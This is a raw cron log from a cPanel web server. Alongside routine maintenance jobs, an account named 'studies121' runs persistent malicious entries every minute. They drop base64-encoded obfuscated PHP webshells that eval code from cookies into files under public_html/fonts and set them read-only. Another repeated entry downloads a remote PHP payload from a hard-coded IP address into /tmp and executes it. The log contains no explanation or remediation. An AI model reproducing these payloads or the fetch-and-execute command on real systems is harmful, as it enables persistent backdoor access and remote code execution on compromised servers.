Sep  3 10:35:01 ip-184-168-122-23 CROND[20898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:35:01 ip-184-168-122-23 CROND[20899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:36:01 ip-184-168-122-23 CROND[21078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:36:01 ip-184-168-122-23 CROND[21079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:36:01 ip-184-168-122-23 CROND[21081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:36:01 ip-184-168-122-23 CROND[21084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:36:01 ip-184-168-122-23 CROND[21085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:37:01 ip-184-168-122-23 CROND[21205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:37:01 ip-184-168-122-23 CROND[21209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:37:01 ip-184-168-122-23 CROND[21208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:37:01 ip-184-168-122-23 CROND[21211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:38:01 ip-184-168-122-23 CROND[21338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:38:01 ip-184-168-122-23 CROND[21341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:38:01 ip-184-168-122-23 CROND[21343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:38:01 ip-184-168-122-23 CROND[21340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:38:01 ip-184-168-122-23 CROND[21342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:39:01 ip-184-168-122-23 CROND[21501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:39:01 ip-184-168-122-23 CROND[21505]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 10:39:01 ip-184-168-122-23 CROND[21504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:39:01 ip-184-168-122-23 CROND[21506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:39:01 ip-184-168-122-23 CROND[21508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:40:01 ip-184-168-122-23 CROND[21664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:40:01 ip-184-168-122-23 CROND[21660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:40:01 ip-184-168-122-23 CROND[21663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:41:01 ip-184-168-122-23 CROND[21853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:41:01 ip-184-168-122-23 CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:41:01 ip-184-168-122-23 CROND[21856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:41:01 ip-184-168-122-23 CROND[21855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:42:01 ip-184-168-122-23 CROND[21965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:42:01 ip-184-168-122-23 CROND[21967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:42:01 ip-184-168-122-23 CROND[21968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:42:02 ip-184-168-122-23 CROND[21970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:42:02 ip-184-168-122-23 CROND[21969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:43:02 ip-184-168-122-23 CROND[22077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:43:02 ip-184-168-122-23 CROND[22079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:43:02 ip-184-168-122-23 CROND[22078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:43:02 ip-184-168-122-23 CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:44:01 ip-184-168-122-23 CROND[22187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:44:01 ip-184-168-122-23 CROND[22189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:44:01 ip-184-168-122-23 CROND[22192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:44:01 ip-184-168-122-23 CROND[22193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:44:01 ip-184-168-122-23 CROND[22191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:45:01 ip-184-168-122-23 CROND[22342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:45:01 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:45:01 ip-184-168-122-23 CROND[22345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:45:01 ip-184-168-122-23 CROND[22347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:45:01 ip-184-168-122-23 CROND[22346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:45:01 ip-184-168-122-23 CROND[22348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:46:01 ip-184-168-122-23 CROND[22465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22464]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22466]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:46:01 ip-184-168-122-23 CROND[22468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:47:02 ip-184-168-122-23 CROND[22696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:47:02 ip-184-168-122-23 CROND[22697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:47:02 ip-184-168-122-23 CROND[22699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
